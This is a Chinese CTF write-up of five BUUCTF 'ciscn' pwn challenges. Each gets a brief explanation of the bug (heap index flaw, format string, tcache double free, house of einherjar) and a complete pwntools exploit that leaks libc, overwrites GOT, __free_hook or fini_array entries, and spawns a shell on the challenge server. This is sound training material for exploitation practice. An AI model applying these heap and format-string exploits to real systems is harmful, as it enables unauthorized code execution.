CISCN-BUU刷题记录3

1.ciscn_final_5:由于题目本身原因,chunkList中存放的堆地址是chunk_addr+idx,所以idx为16时就会导致存放的堆地址为chunk_addr+0x10。同时放入chunkList的顺序是按照申请顺序放入的,删除和修改的时候也是通过遍历查找的。那么如果先申请索引为16,1的chunk,chunkList中就会如下:

chunk16_addr+0x10,chunk1_addr

如果这时候释放索引为0的Chunk,就会误以为chunk16_addr+0x10为索引为0的chunk,如果事先伪造了chunk16_addr+0x10的size域,那么就能够将其释放,再申请回来,那么我们就能够制造堆块重叠,有了堆块重叠加上edit功能就很随意了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
# -*- coding:UTF-8 -*-
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_final_5"
libc_file = "./libc.so.6"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.26.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","28635")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "your choice: "


def add(idx,size, con):
sla(menu, "1")
sla("index: ", str(idx))
sla("size: ", str(size))
sa("content: ", con)

def delete(idx):
sla(menu, "2")
sla("index: ", str(idx))


def edit(idx,con):
sla(menu, "3")
sla("index: ", str(idx))
sa("content: ", con)


puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
free_got = elf.got['free']
__stack_chk_fail_got = elf.got['__stack_chk_fail']

add(16,0x10,p64(0x0)+p64(0x210))
add(1,0x10,p64(free_got))
add(2,0x20,p64(free_got))
add(3,0x30,p64(free_got))
add(4,0x40,p64(free_got))

delete(0)
delete(1)
delete(2)
delete(3)
delete(4)

add(5,0x200,p64(0x0)+p64(0x21)+p64(free_got))
add(6,0x10,"Free")
add(7,0x10,p64(puts_plt))

edit(5,p64(0x0)+p64(0x21)+
p64(0x0)*0x3+p64(0x31)+
p64(__stack_chk_fail_got))
add(8,0x20,p64(__stack_chk_fail_got))
add(9,0x20,"a")
delete(9)

libc_base = u64(rc(6).ljust(8, '\x00'))-libc.sym['puts']
log.info("libc_base:0x%x"%libc_base)
system_addr = libc_base + libc.sym['system']

edit(5,p64(0x0)+p64(0x21)+p64(0x0)*10+p64(free_got))
add(10,0x30,p64(free_got))
add(11,0x30,p64(system_addr))
add(12,0x60,"/bin/sh\x00")
delete(12)
p.interactive()

这里需要注意一点的是,我的做法不像其他人申请chunk到chunkList直接控制chunk块,从而修改堆块地址传入到被劫持为puts函数的free_got来泄露地址,而是直接申请到got表上,将got表作为堆地址传入被劫持为puts函数的free_got来泄露got表中的地址。

但是这里会遇到一个问题,就是选择哪一个函数的got表作为堆地址。这里两种解决办法:

(1)可以发送size为0,那么就不会修改到函数的got表,但是这个方法要求利用0x20的tcache的dup。

(2)如果size不为0,那么申请堆块的时候势必要发送数据,最少也是\x0a。那么发送数据也肯定会修改到该函数的真实地址,那么泄露出来的就是修改后的真实地址,而且如果该函数在程序运行过程中容易被调用,那么修改之后也势必会使得程序崩溃。这里有Libc文件还好,可以直接查找libc文件对于函数的最后一个字节来修复一下,但如果没有libc文件,那么就没招了。

这里假设没有libc文件,那么我们就需要找一个不太能用到函数来修改,这里刚好有个__stack_chk_fail_,只要不触发canary,这个函数就不会被调用,其got表是延迟绑定的,保存的不是真实地址,直接拿来用就行。同时还要注意的是由于是__stack_chk_fail_的got表作为堆地址,但是实际传入给puts函数的地址是__stack_chk_fail_got-0x10,所以泄露出来的是对应的puts函数的真实地址。

之后就正常利用0x20,0x30,0x40的tcache来任意申请修改了。

2.ciscn_2019_en_3:水题,利用格式化字符串泄露地址,打free_hook,唯一需要注意的一点是程序本身的提示信息,注意空格和DEBUG的使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_2019_en_3"
#libc_file = "./libc-2.24.so"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.27.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 0
if local:
#p = process(binary)
p = process(binary, env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF(binary)
#libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","25412")
elf = ELF(binary)
#libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "Input your choice:"


def add(size, con):
sla(menu, "1")
sla("Please input the size of story: \n", str(size))
sa("please inpute the story: \n", con)

def delete(idx):
sla(menu, "4")

sla("Please input the index:\n", str(idx))
sla("What's your name?\n","%p.%p")
ru(".0x")
read_addr = int(rc(12),16)-0x11
obj = LibcSearcher("read", read_addr)
libc_base = read_addr-obj.dump('read')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
free_hook = libc_base + obj.dump('__free_hook')
log.info("libc_base:0x%x"%libc_base)
log.info("system_addr:0x%x"%system_addr)
sla("Please input your ID.\n","A")
add(0x18,p64(free_hook))
add(0x18,"/bin/sh\x00")
delete(0)
delete(0)
add(0x18,p64(free_hook))
add(0x18,p64(free_hook))
add(0x18,p64(system_addr))
delete(1)
p.interactive()

3.ciscn_2019_s_6:水到家的题,懒得看,两分钟改完脚本拉倒。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_s_6"
#libc_file = "./libc-2.24.so"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.27.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","25301")
elf = ELF(binary)
#libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "choice:"


def add(size,name,call):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('name')
p.sendline(str(size))
p.recvuntil('name:')
p.sendline(name)
p.recvuntil('call:')
p.sendline(call)

def show(idx):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(idx))

def delete(idx):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(idx))

add(0x88,'pppp','pppp')
add(0x20,'pppp','pppp')
add(0x20,'pppp','pppp')
for i in range(7):
delete(0)

delete(0)
show(0)
p.recvuntil('name')
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
libc_base = malloc_hook-obj.dump('__malloc_hook')
free_hook = libc_base + obj.dump("__free_hook")
system_addr = libc_base + obj.dump("system")
log.info("libc_base:0x%x"%libc_base)
log.info("system_addr:0x%x"%system_addr)

#p.recvuntil()
delete(1)
delete(1)
delete(1)

add(0x20,p64(free_hook),'pppp')
add(0x20,'pppp','pppp')
add(0x20,p64(system_addr),'pppp')
add(0x20,'/bin/sh\x00','pppp')

delete(6)
p.interactive()

4.ciscn_2019_sw_1:格式化字符串,改fini_array为main_addr,使得程序循环再来一次,劫持printf为system_plt,再输入binsh即可getshell。程序里的sys没啥用,用来迷惑人的,因为command无法被修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'i386'
SigreturnFrame(kernel = 'i386')

binary = "./ciscn_2019_sw_1"
#libc_file = "./libc-2.24.so"
#libc_file = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

#libcsearcher use
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","27341")
elf = ELF(binary)
#libc = ELF(libc_file)

fini_array = 0x0804979C
printf_got = elf.got['printf']
system_plt = elf.plt['system']
main_addr = elf.sym['main']


payload = ""
payload += p32(fini_array+2)
payload += p32(fini_array)
payload += p32(printf_got+2)
payload += p32(printf_got)
payload += '%'+str(0x0804-0x10)+'c'+'%4$hn'
payload += '%'+str(int(main_addr&0xffff)-0x0804)+'c'+'%5$hn'
payload += '%'+str(0x10804-int(main_addr&0xffff))+'c'+'%6$hn'
payload += '%'+str(int(system_plt&0xffff)+0x10000-0x10804)+'c'+'%7$hn'


pause()
p.sendline(payload)
pause()
p.sendline("/bin/sh\x00")
pause()
p.interactive()

5.ciscn_2019_s_1:差点被这道题搞崩溃。网上解法太多,感觉都挺麻烦的。其实直接一个技巧就搞定:house_of_einherjar。进行一定堆布局,申请chunk8-chunk10,将0x100的tcache填满,在chunk8中伪造chunk,满足2.27下的unlink要求,即size位和fd,bk位。(由于这里给了堆地址,所以可以直接用,恰好能够满足要求)之后触发0x100的off-by-null向上合并,将chunk9给overlap,之后申请到tcache结构体,就能随便玩了。(house_of_einherjar重点在于2.27下的unlink)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_s_1"
#libc_file = "./libc-2.24.so"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.27.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
p = process(binary)
#p = process(binary, env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF(binary)
#libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","26685")
elf = ELF(binary)
#libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "4.show\n"


def add(idx,size, con):
sla(menu, "1")
sla("index:\n", str(idx))
sla("size:\n", str(size))
ru("gift: ")
chunk_addr = int(ru("\n"),16)
sa("content:\n", con)
return chunk_addr

def delete(idx):
sla(menu, "2")
sla("index:\n", str(idx))

def show(idx):
sla(menu, "4")
sla("index:\n", str(idx))

def edit(idx,con):
sla(menu, "3")
sla("index:\n", str(idx))
sa("content:\n", con)

key_addr = 0x6022B8

chunk0_addr = add(0,0xf8,"0")
heap_base = chunk0_addr-0x260

chunk8_addr = add(8,0xf8,"8")
chunk9_addr = add(9,0xe8,"9")
chunk10_addr = add(10,0xf8,"10")
log.info("chunk8_addr:0x%x"%chunk8_addr)
log.info("chunk9_addr:0x%x"%chunk9_addr)
log.info("chunk10_addr:0x%x"%chunk10_addr)

edit(8,p64(0x110)+p64(0xf1+0xf0)+
p64(chunk8_addr)+p64(chunk8_addr))
edit(9,"9"*0xe0+
p64(0xf0+0xf0))

for i in range(0,7):
add(i+1,0xf8,"X"*0xf7)
for i in range(0,7):
delete(i+1)

delete(9)
delete(10)
chunkA_addr = add(9,0xd0,"9")
chunkB_addr = add(10,0xd0,
p64(0x0)+p64(0xf0)+
p64(heap_base+0x10)+p64(heap_base+0x10))
unsortedbin_addr = chunk8_addr+0x10+0xe0+0xe0

add(11,0xe8,p64(heap_base+0x10))
add(12,0xe8,"\x00"*0x40+p64(0x0)*7+
p64(key_addr)+ #0x90
p64(0x0)+ #0xa0
p64(unsortedbin_addr-0x10)+ #0xb0
p64(heap_base+0x10)) #0xc0

add(13,0x88,p64(0x1))
add(14,0xa0,"A"*0x10)
show(14)
ru("AAAAAAAAAAAAAAAA")
main_arena = u64(rc(6).ljust(8,"\x00"))-96

malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
libc_base = malloc_hook-obj.dump('__malloc_hook')
log.info("libc_base:0x%x"%libc_base)
system_addr = libc_base + obj.dump("system") #system
free_hook_addr = libc_base + obj.dump("__free_hook")
log.info("free_hook_addr:0x%x"%free_hook_addr)
log.info("system_addr:0x%x"%system_addr)

edit(12,"\x00"*0x40+p64(0x0)*7+
p64(key_addr)+ #0x90
p64(free_hook_addr)+ #0xa0
p64(unsortedbin_addr-0x10)) #0xc0

add(15,0x98,p64(system_addr))
add(16,0xf0,"/bin/sh\x00")

delete(16)
p.interactive()